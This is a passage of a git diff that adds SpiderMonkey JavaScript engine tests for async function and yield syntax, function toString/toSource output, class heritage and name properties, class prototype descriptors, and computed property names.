+ assertThrowsInstanceOf(() => parseModule("async function f() { function g() { await 3; } }"), SyntaxError);
+
+ if (typeof Reflect !== "undefined" && Reflect.parse) {
+ Reflect.parse("export async function f() {}", { target: "module" });
+ assertThrowsInstanceOf(() => Reflect.parse("export async function() {}", { target: "module" }), SyntaxError);
+
+ Reflect.parse("export default async function() {}", { target: "module" });
+ Reflect.parse("export default async function f() {}", { target: "module" });
+
+ assertThrowsInstanceOf(() => Reflect.parse("export default async function() { yield; }", { target: "module" }), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("export default async function() { yield = 1; }", { target: "module" }), SyntaxError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/syntax.js b/js/src/tests/non262/async-functions/syntax.js
new file mode 100644
index 0000000000..a5ec254e2e
--- /dev/null
+++ b/js/src/tests/non262/async-functions/syntax.js
@@ -0,0 +1,83 @@
+var BUGNUMBER = 1185106;
+var summary = "async/await syntax";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ assertEq(Reflect.parse("function a() {}").body[0].async, false);
+ assertEq(Reflect.parse("function* a() {}").body[0].async, false);
+ assertEq(Reflect.parse("async function a() {}").body[0].async, true);
+ assertEq(Reflect.parse("() => {}").body[0].async, undefined);
+
+ // No line terminator after async
+ assertEq(Reflect.parse("async\nfunction a(){}").body[0].expression.name, "async");
+
+ // Async function expressions
+ assertEq(Reflect.parse("(async function() {})()").body[0].expression.callee.async, true);
+ assertEq(Reflect.parse("var k = async function() {}").body[0].declarations[0].init.async, true);
+ assertEq(Reflect.parse("var nmd = async function named() {}").body[0].declarations[0].init.id.name, "named");
+
+ // `await` handling for function declaration name inherits.
+ assertEq(Reflect.parse("async function await() {}").body[0].id.name, "await");
+ assertThrowsInstanceOf(() => Reflect.parse("async function f() { async function await() {} }"), SyntaxError);
+
+ // `await` is not allowed in function expression name.
+ assertThrowsInstanceOf(() => Reflect.parse("(async function await() {})"), SyntaxError);
+
+ // Awaiting not directly inside an async function is not allowed
+ assertThrowsInstanceOf(() => Reflect.parse("await 4;"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("function a() { await 4; }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("function* a() { await 4; }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function k() { function a() { await 4; } }"), SyntaxError);
+
+ // Await is not allowed as a default expr.
+ assertThrowsInstanceOf(() => Reflect.parse("async function a(k = await 3) {}"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b(k = await 3) {} }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b(k = [await 3]) {} }"), SyntaxError);
+
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b([k = await 3]) {} }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b([k = [await 3]]) {} }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b({k = await 3}) {} }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b({k = [await 3]}) {} }"), SyntaxError);
+
+ // Await is not legal as an identifier in an async function.
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { var await = 4; }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { return await; }"), SyntaxError);
+
+ // Await is still available as an identifier name in strict mode code.
+ Reflect.parse("function a() { 'use strict'; var await = 3; }");
+ Reflect.parse("'use strict'; var await = 3;");
+
+ // Await is treated differently depending on context. Various cases.
+ Reflect.parse("var await = 3; async function a() { await 4; }");
+ Reflect.parse("async function a() { await 4; } var await = 5");
+ Reflect.parse("async function a() { function b() { return await; } }");
+
+ Reflect.parse("async function a() { var k = { async: 4 } }");
+
+ Reflect.parse("function a() { await: 4 }");
+
+ assertEq(Reflect.parse("async function a() { await 4; }")
+ .body[0].body.body[0].expression.operator, "await");
+
+ assertEq(Reflect.parse("async function a() { async function b() { await 4; } }")
+ .body[0].body.body[0].body.body[0].expression.operator, "await");
+
+ // operator priority test
+ assertEq(Reflect.parse("async function a() { await 2 + 3; }")
+ .body[0].body.body[0].expression.left.argument.value, 2);
+ assertEq(Reflect.parse("async function a() { await 2 + 3; }")
+ .body[0].body.body[0].expression.left.operator, "await");
+ assertEq(Reflect.parse("async function a() { await 2 + 3; }")
+ .body[0].body.body[0].expression.right.value, 3);
+
+ // blocks and other constructions
+ assertEq(Reflect.parse("{ async function a() { return 2; } }")
+ .body[0].body[0].async, true);
+
+ // Async function expression is primary expression.
+ Reflect.parse("(async function a() {}.constructor)");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/toSource.js b/js/src/tests/non262/async-functions/toSource.js
new file mode 100644
index 0000000000..3cd2943aec
--- /dev/null
+++ b/js/src/tests/non262/async-functions/toSource.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!Function.prototype.toSource)
+
+var BUGNUMBER = 1335025;
+var summary = "(non-standard) async function toSource";
+
+print(BUGNUMBER + ": " + summary);
+
+async function f1(a, b, c) { await a; }
+
+assertEq(f1.toSource(),
+ "async function f1(a, b, c) { await a; }");
+
+assertEq(async function (a, b, c) { await a; }.toSource(),
+ "(async function (a, b, c) { await a; })");
+
+assertEq((async (a, b, c) => await a).toSource(),
+ "async (a, b, c) => await a");
+
+assertEq((async (a, b, c) => { await a; }).toSource(),
+ "async (a, b, c) => { await a; }");
+
+assertEq({ async foo(a, b, c) { await a; } }.foo.toSource(),
+ "async foo(a, b, c) { await a; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/toString.js b/js/src/tests/non262/async-functions/toString.js
new file mode 100644
index 0000000000..a4ecd7b653
--- /dev/null
+++ b/js/src/tests/non262/async-functions/toString.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1185106;
+var summary = "async function toString";
+
+print(BUGNUMBER + ": " + summary);
+
+async function f1(a, b, c) { await a; }
+
+assertEq(f1.toString(),
+ "async function f1(a, b, c) { await a; }");
+
+assertEq(async function (a, b, c) { await a; }.toString(),
+ "async function (a, b, c) { await a; }");
+
+assertEq((async (a, b, c) => await a).toString(),
+ "async (a, b, c) => await a");
+
+assertEq((async (a, b, c) => { await a; }).toString(),
+ "async (a, b, c) => { await a; }");
+
+assertEq({ async foo(a, b, c) { await a; } }.foo.toString(),
+ "async foo(a, b, c) { await a; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/yield.js b/js/src/tests/non262/async-functions/yield.js
new file mode 100644
index 0000000000..1d5b836a33
--- /dev/null
+++ b/js/src/tests/non262/async-functions/yield.js
@@ -0,0 +1,71 @@
+var BUGNUMBER = 1185106;
+var summary = "yield handling in async function";
+
+print(BUGNUMBER + ": " + summary);
+
+function testPassArgsBody(argsbody) {
+ Reflect.parse(`async function a${argsbody}`);
+ Reflect.parse(`(async function a${argsbody})`);
+ Reflect.parse(`(async function ${argsbody})`);
+ Reflect.parse(`({ async m${argsbody} })`);
+}
+
+function testErrorArgsBody(argsbody, prefix="") {
+ assertThrowsInstanceOf(() => Reflect.parse(`${prefix} async function a${argsbody}`), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse(`${prefix} (async function a${argsbody})`), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse(`${prefix} (async function ${argsbody})`), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse(`${prefix} ({ async m${argsbody} })`), SyntaxError);
+}
+
+function testErrorArgsBodyStrict(argsbody) {
+ testErrorArgsBody(argsbody);
+ testErrorArgsBody(argsbody, "'use strict'; ");
+ assertThrowsInstanceOf(() => Reflect.parse(`class X { async m${argsbody} }`), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse(`class X { static async m${argsbody} }`), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse(`export default async function ${argsbody}`, { target: "module" }), SyntaxError);
+}
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ // `yield` handling is inherited in async function declaration name.
+ Reflect.parse("async function yield() {}");
+ Reflect.parse("function f() { async function yield() {} }");
+ assertThrowsInstanceOf(() => Reflect.parse("function* g() { async function yield() {} }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; async function yield() {}"), SyntaxError);
+
+ // `yield` is treated as an identifier in an async function expression name.
+ // `yield` is not allowed as an identifier in strict code.
+ Reflect.parse("(async function yield() {});");
+ Reflect.parse("function f() { (async function yield() {}); }");
+ Reflect.parse("function* g() { (async function yield() {}); }");
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; (async function yield() {});"), SyntaxError);
+
+ // `yield` handling is inherited in async method name.
+ Reflect.parse("({ async yield() {} });");
+ Reflect.parse("function f() { ({ async yield() {} }); }");
+ Reflect.parse("function* g() { ({ async yield() {} }); }");
+ Reflect.parse("'use strict'; ({ async yield() {} });");
+ Reflect.parse("class X { async yield() {} }");
+
+ Reflect.parse("({ async [yield]() {} });");
+ Reflect.parse("function f() { ({ async [yield]() {} }); }");
+ Reflect.parse("function* g() { ({ async [yield]() {} }); }");
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; ({ async [yield]() {} });"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("class X { async [yield]() {} }"), SyntaxError);
+
+ // `yield` is treated as an identifier in an async function parameter
+ // `yield` is not allowed as an identifier in strict code.
+ testPassArgsBody("(yield) {}");
+ testPassArgsBody("(yield = 1) {}");
+ testPassArgsBody("(a = yield) {}");
+ testErrorArgsBodyStrict("(yield 3) {}");
+ testErrorArgsBodyStrict("(a = yield 3) {}");
+
+ // `yield` is treated as an identifier in an async function body
+ // `yield` is not allowed as an identifier in strict code.
+ testPassArgsBody("() { yield; }");
+ testPassArgsBody("() { yield = 1; }");
+ testErrorArgsBodyStrict("() { yield 3; }");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/browser.js b/js/src/tests/non262/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/browser.js
diff --git a/js/src/tests/non262/class/boundFunctionSubclassing.js b/js/src/tests/non262/class/boundFunctionSubclassing.js
new file mode 100644
index 0000000000..be9058bb9e
--- /dev/null
+++ b/js/src/tests/non262/class/boundFunctionSubclassing.js
@@ -0,0 +1,37 @@
+class func extends Function { }
+let inst = new func("x", "return this.bar + x");
+
+// First, ensure that we get sane prototype chains for the bound instance
+let bound = inst.bind({bar: 3}, 4);
+assertEq(bound instanceof func, true);
+assertEq(bound(), 7);
+
+// Check the corner case for Function.prototype.bind where the function has
+// a null [[Prototype]]
+Object.setPrototypeOf(inst, null);
+bound = Function.prototype.bind.call(inst, {bar:1}, 3);
+assertEq(Object.getPrototypeOf(bound), null);
+assertEq(bound(), 4);
+
+// Check that we actually pass the proper new.target when calling super()
+function toBind() { }
+
+var boundArgs = [];
+for (let i = 0; i < 5; i++) {
+ boundArgs.push(i);
+ let bound = toBind.bind(undefined, ...boundArgs);
+
+ // We have to wire it up by hand to allow us to use a bound function
+ // as a superclass, but it's doable.
+ bound.prototype = {};
+ class test extends bound { };
+ let passedArgs = [];
+ for (let j = 0; j < 15; j++) {
+ passedArgs.push(j);
+ assertEq(Object.getPrototypeOf(new test(...passedArgs)), test.prototype);
+ }
+}
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/browser.js b/js/src/tests/non262/class/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/class/browser.js
diff --git a/js/src/tests/non262/class/bytecodePatternMatching.js b/js/src/tests/non262/class/bytecodePatternMatching.js
new file mode 100644
index 0000000000..446184f805
--- /dev/null
+++ b/js/src/tests/non262/class/bytecodePatternMatching.js
@@ -0,0 +1,29 @@
+// Constructors can't be called so we can't pattern match
+// them in replace and sort.
+function a() {
+ var b = {a: "A"};
+
+ class X {
+ constructor(a) {
+ return b[a]
+ }
+ };
+
+ assertThrowsInstanceOf(() => "a".replace(/a/, X), TypeError);
+}
+
+function b() {
+ class X {
+ constructor(x, y) {
+ return x - y;
+ }
+ }
+
+ assertThrowsInstanceOf(() => [1, 2, 3].sort(X), TypeError);
+}
+
+a();
+b();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/classConstructorNoCall.js b/js/src/tests/non262/class/classConstructorNoCall.js
new file mode 100644
index 0000000000..f59f87b9c5
--- /dev/null
+++ b/js/src/tests/non262/class/classConstructorNoCall.js
@@ -0,0 +1,21 @@
+// Class constructors don't have a [[Call]]
+class Foo {
+ constructor() { }
+}
+
+assertThrowsInstanceOf(Foo, TypeError);
+
+class Bar extends Foo {
+ constructor() { }
+}
+
+assertThrowsInstanceOf(Bar, TypeError);
+
+assertThrowsInstanceOf(class { constructor() { } }, TypeError);
+assertThrowsInstanceOf(class extends Foo { constructor() { } }, TypeError);
+
+assertThrowsInstanceOf(class foo { constructor() { } }, TypeError);
+assertThrowsInstanceOf(class foo extends Foo { constructor() { } }, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/classHeritage.js b/js/src/tests/non262/class/classHeritage.js
new file mode 100644
index 0000000000..478c23fc21
--- /dev/null
+++ b/js/src/tests/non262/class/classHeritage.js
@@ -0,0 +1,97 @@
+// It's an error to have a non-constructor as your heritage
+assertThrowsInstanceOf(() => eval(`class a extends Math.sin {
+ constructor() { }
+ }`), TypeError);
+assertThrowsInstanceOf(() => eval(`(class a extends Math.sin {
+ constructor() { }
+ })`), TypeError);
+
+// Unless it's null, in which case it works like a normal class, except that
+// the prototype object does not inherit from Object.prototype.
+class basic {
+ constructor() { }
+}
+class nullExtends extends null {
+ constructor() { }
+}
+var nullExtendsExpr = class extends null { constructor() { } };
+
+assertEq(Object.getPrototypeOf(basic), Function.prototype);
+assertEq(Object.getPrototypeOf(basic.prototype), Object.prototype);
+
+for (let extension of [nullExtends, nullExtendsExpr]) {
+ assertEq(Object.getPrototypeOf(extension), Function.prototype);
+ assertEq(Object.getPrototypeOf(extension.prototype), null);
+}
+
+var baseMethodCalled;
+var staticMethodCalled;
+var overrideCalled;
+class base {
+ constructor() { };
+ method() { baseMethodCalled = true; }
+ static staticMethod() { staticMethodCalled = true; }
+ override() { overrideCalled = "base" }
+}
+class derived extends base {
+ constructor() { super(); };
+ override() { overrideCalled = "derived"; }
+}
+var derivedExpr = class extends base {
+ constructor() { super(); };
+ override() { overrideCalled = "derived"; }
+};
+
+// Make sure we get the right object layouts.
+for (let extension of [derived, derivedExpr]) {
+ baseMethodCalled = false;
+ staticMethodCalled = false;
+ overrideCalled = "";
+ // Make sure we get the right object layouts.
+ assertEq(Object.getPrototypeOf(extension), base);
+ assertEq(Object.getPrototypeOf(extension.prototype), base.prototype);
+
+ // We do inherit the methods, right?
+ (new extension()).method();
+ assertEq(baseMethodCalled, true);
+
+ // But we can still override them?
+ (new extension()).override();
+ assertEq(overrideCalled, "derived");
+
+ // What about the statics?
+ extension.staticMethod();
+ assertEq(staticMethodCalled, true);
+}
+
+// Gotta extend an object, or null.
+function nope() {
+ class Foo extends "Bar" {
+ constructor() { }
+ }
+}
+function nopeExpr() {
+ (class extends "Bar" {
+ constructor() { }
+ });
+}
+assertThrowsInstanceOf(nope, TypeError);
+assertThrowsInstanceOf(nopeExpr, TypeError);
+
+// The .prototype of the extension must be an object, or null.
+nope.prototype = "not really, no";
+function stillNo() {
+ class Foo extends nope {
+ constructor() { }
+ }
+}
+function stillNoExpr() {
+ (class extends nope {
+ constructor() { }
+ });
+}
+assertThrowsInstanceOf(stillNo, TypeError);
+assertThrowsInstanceOf(stillNoExpr, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/className.js b/js/src/tests/non262/class/className.js
new file mode 100644
index 0000000000..e72510e18d
--- /dev/null
+++ b/js/src/tests/non262/class/className.js
@@ -0,0 +1,248 @@
+function testName(C, name, hasValue, hasGetter, hasSetter, isFunction=false) {
+ if (isFunction) {
+ assertEq(typeof C.name, "function");
+ } else {
+ assertEq(C.name, name);
+ }
+
+ var desc = Object.getOwnPropertyDescriptor(C, "name");
+ if (!hasValue && !hasGetter && !hasSetter) {
+ assertEq(desc, undefined);
+ return;
+ }
+
+ if (hasValue) {
+ assertEq("value" in desc, true);
+ if (isFunction) {
+ assertEq(typeof desc.value, "function");
+ } else {
+ assertEq(desc.value, name);
+ }
+ // FIXME: Methods defined in classes should not be enumerable
+ // (bug 1144630).
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+
+ assertEq("get" in desc, false);
+ assertEq("set" in desc, false);
+
+ return;
+ }
+
+ assertEq("value" in desc, false);
+
+ if (hasGetter) {
+ assertEq("get" in desc, true);
+ assertEq(desc.get(), name);
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ } else {
+ assertEq("get" in desc, true);
+ assertEq(desc.get, undefined);
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ }
+
+ if (hasSetter) {
+ assertEq("set" in desc, true);
+ assertEq(typeof desc.set, "function");
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ } else {
+ assertEq("set" in desc, true);
+ assertEq(desc.set, undefined);
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ }
+}
+
+// ---- declaration ---
+
+class Decl {
+ constructor() {}
+}
+testName(Decl, "Decl", true, false, false);
+
+class DeclWithFunc {
+ constructor() {}
+ static name() {}
+}
+testName(DeclWithFunc, "DeclWithFunc", true, false, false, true);
+
+class DeclWithGetter {
+ constructor() {}
+ static get name() { return "base"; }
+}
+testName(DeclWithGetter, "base", false, true, false);
+
+class DeclWithSetter {
+ constructor() {}
+ static set name(v) {}
+}
+testName(DeclWithSetter, undefined, false, false, true);
+
+class DeclWithGetterSetter {
+ constructor() {}
+ static get name() { return "base"; }
+ static set name(v) {}
+}
+testName(DeclWithGetterSetter, "base", false, true, true);
+
+function prop() {
+ return "name";
+}
+class DeclWithComputed {
+ constructor() {}
+ static get [prop()]() { return "base"; }
+}
+testName(DeclWithGetterSetter, "base", false, true, true);
+
+class ExtendedDecl1 extends Decl {
+ constructor() {}
+}
+testName(ExtendedDecl1, "ExtendedDecl1", true, false, false);
+delete ExtendedDecl1.name;
+testName(ExtendedDecl1, "Decl", false, false, false);
+
+class ExtendedDecl2 extends DeclWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+}
+testName(ExtendedDecl2, "extend", false, true, false);
+delete ExtendedDecl2.name;
+testName(ExtendedDecl2, "base", false, false, false);
+
+class ExtendedDecl3 extends DeclWithGetterSetter {
+ constructor() {}
+ static set name(v) {}
+}
+testName(ExtendedDecl3, undefined, false, false, true);
+delete ExtendedDecl3.name;
+testName(ExtendedDecl3, "base", false, false, false);
+
+// ---- expression ---
+
+let Expr = class Expr {
+ constructor() {}
+};
+testName(Expr, "Expr", true, false, false);
+
+let ExprWithGetter = class ExprWithGetter {
+ constructor() {}
+ static get name() { return "base"; }
+};
+testName(ExprWithGetter, "base", false, true, false);
+
+let ExprWithSetter = class ExprWithSetter {
+ constructor() {}
+ static set name(v) {}
+};
+testName(ExprWithSetter, undefined, false, false, true);
+
+let ExprWithGetterSetter = class ExprWithGetterSetter {
+ constructor() {}
+ static get name() { return "base"; }
+ static set name(v) {}
+};
+testName(ExprWithGetterSetter, "base", false, true, true);
+
+
+let ExtendedExpr1 = class ExtendedExpr1 extends Expr {
+ constructor() {}
+};
+testName(ExtendedExpr1, "ExtendedExpr1", true, false, false);
+delete ExtendedExpr1.name;
+testName(ExtendedExpr1, "Expr", false, false, false);
+
+let ExtendedExpr2 = class ExtendedExpr2 extends ExprWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+};
+testName(ExtendedExpr2, "extend", false, true, false);
+delete ExtendedExpr2.name;
+testName(ExtendedExpr2, "base", false, false, false);
+
+let ExtendedExpr3 = class ExtendedExpr3 extends ExprWithGetterSetter {
+ constructor() {}
+ static set name(v) {}
+};
+testName(ExtendedExpr3, undefined, false, false, true);
+delete ExtendedExpr3.name;
+testName(ExtendedExpr3, "base", false, false, false);
+
+// ---- anonymous ----
+
+// Anonymous class expressions use the empty string as the default name property.
+// Use property assignment to avoid setting name property.
+let tmp = {};
+let Anon = tmp.value = class {
+ constructor() {}
+};
+testName(Anon, "", true, false, false);
+
+let AnonDefault = tmp.value = class { };
+testName(AnonDefault, "", true, false, false);
+
+let AnonWithGetter = tmp.value = class {
+ constructor() {}
+ static get name() { return "base"; }
+};
+testName(AnonWithGetter, "base", false, true, false);
+
+let AnonWithSetter = tmp.value = class {
+ constructor() {}
+ static set name(v) {}
+};
+testName(AnonWithSetter, undefined, false, false, true);
+
+let AnonWithGetterSetter = tmp.value = class {
+ constructor() {}
+ static get name() { return "base"; }
+ static set name(v) {}
+};
+testName(AnonWithGetterSetter, "base", false, true, true);
+
+
+let ExtendedAnon1 = tmp.value = class extends Anon {
+ constructor() {}
+};
+testName(ExtendedAnon1, "", true, false, false);
+
+let ExtendedAnonDefault = tmp.value = class extends Anon { };
+testName(ExtendedAnonDefault, "", true, false, false);
+
+let ExtendedAnon2 = tmp.value = class extends AnonWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+};
+testName(ExtendedAnon2, "extend", false, true, false);
+delete ExtendedAnon2.name;
+testName(ExtendedAnon2, "base", false, false, false);
+
+let ExtendedAnon3 = tmp.value = class extends AnonWithGetterSetter {
+ constructor() {}
+ static set name(v) {}
+};
+testName(ExtendedAnon3, undefined, false, false, true);
+delete ExtendedAnon3.name;
+testName(ExtendedAnon3, "base", false, false, false);
+
+// ---- mixed ----
+
+let ExtendedExpr4 = class ExtendedExpr4 extends Anon {
+ constructor() {}
+}
+testName(ExtendedExpr4, "ExtendedExpr4", true, false, false);
+delete ExtendedExpr4.name;
+testName(ExtendedExpr4, "", false, false, false);
+
+let ExtendedExpr5 = class ExtendedExpr5 extends AnonWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+}
+testName(ExtendedExpr5, "extend", false, true, false);
+delete ExtendedExpr5.name;
+testName(ExtendedExpr5, "base", false, false, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/classPrototype.js b/js/src/tests/non262/class/classPrototype.js
new file mode 100644
index 0000000000..0d2296037c
--- /dev/null
+++ b/js/src/tests/non262/class/classPrototype.js
@@ -0,0 +1,65 @@
+// The prototype of a class is a non-writable, non-configurable, non-enumerable data property.
+class a { constructor() { } }
+let b = class { constructor() { } };
+for (let test of [a,b]) {
+ var protoDesc = Object.getOwnPropertyDescriptor(test, "prototype");
+ assertEq(protoDesc.writable, false);
+ assertEq(protoDesc.configurable, false);
+ assertEq(protoDesc.enumerable, false);
+
+ var prototype = protoDesc.value;
+ assertEq(typeof prototype, "object");
+ assertEq(Object.getPrototypeOf(prototype), Object.prototype);
+ assertEq(Object.isExtensible(prototype), true);
+
+ var desiredPrototype = {};
+ Object.defineProperty(desiredPrototype, "constructor", { writable: true,
+ configurable: true,
+ enumerable: false,
+ value: test });
+ assertDeepEq(prototype, desiredPrototype);
+}
+
+// As such, it should by a TypeError to try and overwrite "prototype" with a
+// static member. The only way to try is with a computed property name; the rest
+// are early errors.
+assertThrowsInstanceOf(() => eval(`
+ class a {
+ constructor() { };
+ static ["prototype"]() { }
+ }
+ `), TypeError);
+assertThrowsInstanceOf(() => eval(`
+ class a {
+ constructor() { };
+ static get ["prototype"]() { }
+ }
+ `), TypeError);
+assertThrowsInstanceOf(() => eval(`
+ class a {
+ constructor() { };
+ static set ["prototype"](x) { }
+ }
+ `), TypeError);
+
+assertThrowsInstanceOf(() => eval(`(
+ class a {
+ constructor() { };
+ static ["prototype"]() { }
+ }
+ )`), TypeError);
+assertThrowsInstanceOf(() => eval(`(
+ class a {
+ constructor() { };
+ static get ["prototype"]() { }
+ }
+ )`), TypeError);
+assertThrowsInstanceOf(() => eval(`(
+ class a {
+ constructor() { };
+ static set ["prototype"](x) { }
+ }
+ )`), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/compPropDestr.js b/js/src/tests/non262/class/compPropDestr.js
new file mode 100644
index 0000000000..2bd8cbd49a
--- /dev/null
+++ b/js/src/tests/non262/class/compPropDestr.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 924688;
+var summary = 'Computed Property Names';
+
+print(BUGNUMBER + ": " + summary);
+
+var key = "z";
+var { [key]: foo } = { z: "bar" };
+assertEq(foo, "bar");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/class/compPropNames.js b/js/src/tests/non262/class/compPropNames.js
new file mode 100644
index 0000000000..1c4064d8a5
--- /dev/null
+++ b/js/src/tests/non262/class/compPropNames.js
@@ -0,0 +1,243 @@
+var BUGNUMBER = 924688;
+var summary = 'Computed Property Names';
+
+print(BUGNUMBER + ": " + summary);
+
+// Function definitions.
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e instanceof SyntaxError) {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+
+// Tests begin.
+
+assertThrowsInstanceOf(function() { var a = {[field1]: "a", [field2]: "b"}; }, ReferenceError);
+
+assertThrowsInstanceOf(function() {
+ field1 = 1;
+ var a = {[field1]: "a", [field2]: "b"};
+ }, ReferenceError);
+
+var f1 = 1;
+var f2 = 2;
+var a = {[f1]: "a", [f2]: "b"};
+assertEq(a[1], "a");
+assertEq(a[2], "b");
+
+var a = {[f1]: "a", f2: "b"};
+assertEq(a[1], "a");
+assertEq(a.f2, "b");
+
+var a = {["f1"]: "a", [++f2]: "b"};
+assertEq(a.f1, "a");
+assertEq(a[3], "b");
+
+var a = {["f1"]: "a", f2: "b"};
+assertEq(a.f1, "a");
+assertEq(a.f2, "b");
+
+
+var i = 0;
+var a = {
+ ["foo" + ++i]: i,
+ ["foo" + ++i]: i,
+ ["foo" + ++i]: i
+};
+assertEq(a.foo1, 1);
+assertEq(a.foo2, 2);
+assertEq(a.foo3, 3);
+
+var expr = "abc";
+syntaxError("({[");
+syntaxError("({[expr");
+syntaxError("({[expr]");
+syntaxError("({[expr]})");
+syntaxError("({[expr] 0})");
+syntaxError("({[expr], 0})");
+syntaxError("[[expr]: 0]");
+syntaxError("({[expr]: name: 0})");
+syntaxError("({[1, 2]: 3})"); // because '1,2' is an Expression but not an AssignmentExpression
+syntaxError("({[1;]: 1})"); // and not an ExpressionStatement
+syntaxError("({[if (0) 0;]})"); // much less a Statement
+syntaxError("function f() { {[x]: 1} }"); // that's not even an ObjectLiteral
+syntaxError("function f() { [x]: 1 }"); // or that
+syntaxError('a = {[f1@]: "a", [f2]: "b"}'); // unexpected symbol at end of AssignmentExpression
+try { JSON.parse('{["a"]:4}'); } catch(e) {
+ if (!(e instanceof SyntaxError)) throw new Error('Expected syntax error');
+}
+
+// Property characteristics.
+a = { ["b"] : 4 };
+b = Object.getOwnPropertyDescriptor(a, "b");
+assertEq(b.configurable, true);
+assertEq(b.enumerable, true);
+assertEq(b.writable, true);
+assertEq(b.value, 4);
+
+// Setter and getter are not hit.
+Object.defineProperty(Object.prototype, "x", { set: function (x) { throw "FAIL"; },
+ get: function (x) { throw "FAIL"; } });
+var a = {["x"]: 0};
+assertEq(a.x, 0);
+
+a = {["x"]: 1, ["x"]: 2};
+assertEq(a.x, 2);
+a = {x: 1, ["x"]: 2};
+assertEq(a.x, 2);
+a = {["x"]: 1, x: 2};
+assertEq(a.x, 2);
+
+// Symbols
+var unique_sym = Symbol("1"), registered_sym = Symbol.for("2");
+a = { [unique_sym] : 2, [registered_sym] : 3 };
+assertEq(a[unique_sym], 2);
+assertEq(a[registered_sym], 3);
+
+// Same expression can be run several times to build objects with different property names.
+a = [];
+for (var i = 0; i < 3; i++) {
+ a[i] = {["foo" + i]: i};
+}
+assertEq(a[0].foo0, 0);
+assertEq(a[1].foo1, 1);
+assertEq(a[2].foo2, 2);
+
+// Following are stored in object's elements rather than slots.
+var i = 0;
+a = { [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i
+}
+for (var i = 1; i < 9; i++)
+ assertEq(a[i], i);
+syntaxError("a.1");
+syntaxError("a.2");
+syntaxError("a.3");
+syntaxError("a.4");
+syntaxError("a.5");
+syntaxError("a.6");
+syntaxError("a.7");
+syntaxError("a.8");
+
+// Adding a single large index.
+var i = 0;
+a = { [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [3000] : 2999
+}
+for (var i = 1; i < 9; i++)
+ assertEq(a[i], i);
+assertEq(a[3000], 2999);
+
+// Defining several properties using eval.
+var code = "({";
+for (i = 0; i < 1000; i++)
+ code += "['foo' + " + i + "]: 'ok', "
+code += "['bar']: 'ok'});";
+var obj = eval(code);
+for (i = 0; i < 1000; i++)
+ assertEq(obj["foo" + i], "ok");
+assertEq(obj["bar"], "ok");
+
+// Can yield in a computed property name which is in a generator.
+function* g() {
+ var a = { [yield 1]: 2, [yield 2]: 3};
+ return a;
+}
+
